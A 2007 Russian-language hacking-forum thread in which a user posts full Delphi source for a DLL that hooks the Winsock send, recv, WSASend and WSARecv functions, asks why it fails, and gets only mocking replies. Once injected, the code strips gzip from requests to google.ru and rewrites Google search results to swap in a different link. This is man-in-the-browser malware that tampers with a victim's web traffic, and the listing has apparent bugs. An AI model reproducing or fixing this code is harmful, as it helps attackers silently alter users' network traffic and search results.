прога по взлому гугла
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
прога по взлому гугла - 2007-12-29 23:46:55.006666
|
|
|
troi
Сообщений: 6
Оценки: 0
Присоединился: 2007-08-19 00:38:12.643333
|
неполучается зделать прогу как в стотье "на пике славы" статья вышла в 2006
dll не запускается пишет ошыбку.
library Main;
uses
Windows,
advApiHook,
WinSock2, Messages, SysUtils;
var
i, flag, ThID: dword;
len, a, b, bt: dword;
link: pChar;
szString: PChar = '<a class=l href="http://www.xakep.ru/">Xakep Online -> Home</a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Magazine of computer hooligans<br><font color=#008000>www.xakep.ru/</font>';
Tsend: function (s: TSocket;
Buf: pChar;
len, flags:
Integer): Integer; stdcall;
Trecv: function (s: TSocket;
Buf: pChar;
len, flags:
Integer): Integer; stdcall;
TWSARecv: function ( s : TSocket;
lpBuffers : LPWSABUF;
dwBufferCount : DWORD;
var lpNumberOfBytesRecvd : DWORD;
var lpFlags : DWORD;
lpOverlapped : LPWSAOVERLAPPED;
lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
TWSASend: function ( s : TSocket;
lpBuffers : LPWSABUF;
dwBufferCount : DWORD;
var lpNumberOfBytesSent : DWORD;
dwFlags : DWORD;
lpOverlapped : LPWSAOVERLAPPED;
lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
function ReplaceGZIP(lpData: pointer; szData: dword): boolean;
begin
for i:=szData downto 0 do
begin
if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;
inc(dword(lpData));
end;
end;
function InStr(index: integer; str1: string; str2: pChar): integer;
var
len, pos: integer;
begin
pos:=0;
len:=length(str2);
for i:=index to length(str1) do begin
if copy(str1,i,len)=str2 then begin
pos:=i;
break;
end;
end;
result:=pos;
end;
function ThreadProc(): dword; stdcall;
begin
Sleep(6000);
flag:=0;
ExitThread(0);
end;
function ReplaceResult(lpData: pChar; szData: dword): boolean;
begin
if flag = 1 then exit;
a := pos('<a href="http://www.passion.ru/" class=l>Женские страсти :: Passion.ru - Роскошь быть женщиной. Женский <b>журнал</b>.</a></h2><table border=0 cellpadding=0 cellspacing=0><tr><td class="j"><font size=-1>Ежедневный женский <b>журнал</b>, <b>журнал</b> для женщин, статьи красоте, моде, женском здоровье, диеты и фитнес, гороскопы, семья и дети, любовь и секс, рукоделие, <b>…</b><br>', lpData);
if a=0 then exit;
len:=0;
dec(a);
flag:=1;
GetMem(link, szData);
MoveMemory(link, lpData, a);
MoveMemory(pointer(dword(link)+a), szString, length(szString));
len:=a+length(szString);
b:=szData-InStr(a, lpData, '</font>');
MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</font>')+6), b);
MoveMemory(lpData, link, szData);
ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);
CloseHandle(ThID);
end;
function Nrecv(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
Trecv(s, buf, len, flags);
asm
pushad
end;
if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len);
asm
popad
end;
end;
function Nsend(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
asm
pushad
end;
if (pos('Host: www.google.ru', Buf) > 0) or (pos('Host: google.ru', Buf) > 0) then
ReplaceGZIP(Buf, len);
asm
popad
end;
Tsend(s, buf, len, flags);
end;
function NWSARecv( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD;
lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
TWSARecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);
asm
pushad
end;
if pos('google', lpBuffers.buf) > 0 then ReplaceResult(lpBuffers.buf, lpBuffers.len);
asm
popad
end;
end;
function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED;
lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
asm
pushad
end;
if (pos('Host: www.google.ru', lpBuffers.buf) > 0) or (pos('Host: google.ru', lpBuffers.buf) > 0) then
ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
asm
popad
end;
TWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
end;
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
HookProc('ws2_32.dll', 'recv', @Nrecv, @Trecv);
HookProc('ws2_32.dll', 'send', @Nsend, @Tsend);
HookProc('ws2_32.dll', 'WSARecv', @NWSARecv, @TWSARecv);
HookProc('ws2_32.dll', 'WSASend', @NWSASend, @TWSASend);
end;
DLL_PROCESS_DETACH: begin
UnhookCode(@TWSARecv);
UnhookCode(@Trecv);
UnhookCode(@TWSASend);
UnhookCode(@Tsend);
end;
end;
end;
begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
в чём ошыбка подскажите???????
|
|
|
|
|
RE: прога по взлому гугла - 2007-12-30 00:12:10.093333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
quote:
в чём ошыбка подскажите???????
В ДНК.
|
|
|
|
|
RE: прога по взлому гугла - 2007-12-30 10:33:56.660000
|
|
|
crbunny
Сообщений: 223
Оценки: 0
Присоединился: 2006-06-22 21:20:01
|
quote:
ORIGINAL: blаcksun
quote:
в чём ошыбка подскажите???????
В ДНК.
Народ-то уже и на делфи компилить не умеет, что дальше то будет?
[Проверка слов в firefox предлагает "ком пилить". Представил процесс распиливания комка непонятного происхождения. Улыбнуло.]
|
|
|
|
|
RE: прога по взлому гугла - 2008-02-15 17:31:22.963333
|
|
|
~*inviSIble*~
Сообщений: 43
Оценки: 0
Присоединился: 2008-02-15 01:21:52.486666
|
troi че за статья?Дай почитать ,кинь сылку…..
|
|
|
|
|
RE: прога по взлому гугла - 2008-02-16 22:05:29.393333
|
|
|
Arakul2220
Сообщений: 227
Оценки: 0
Присоединился: 2006-11-12 13:22:34.926666
|
Мда грязное дело!!!:D:D:D
|
|
|
|
|
RE: прога по взлому гугла - 2008-02-16 23:21:35.980000
|
|
|
Genco
Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
|
Дай угадаю.Открыл в делфе длл-ку,нажал "компилить"-и все?)) Если так,то blacksun +1.
|
|
|
|
|
RE: прога по взлому гугла - 2008-02-17 01:10:29.376666
|
|
|
ViD0K
Сообщений: 134
Оценки: 0
Присоединился: 2007-07-10 19:57:57.680000
|
quote:
в чём ошыбка подскажите???????
жи-ши пиши через букву И!
|
|
|
|
|
|
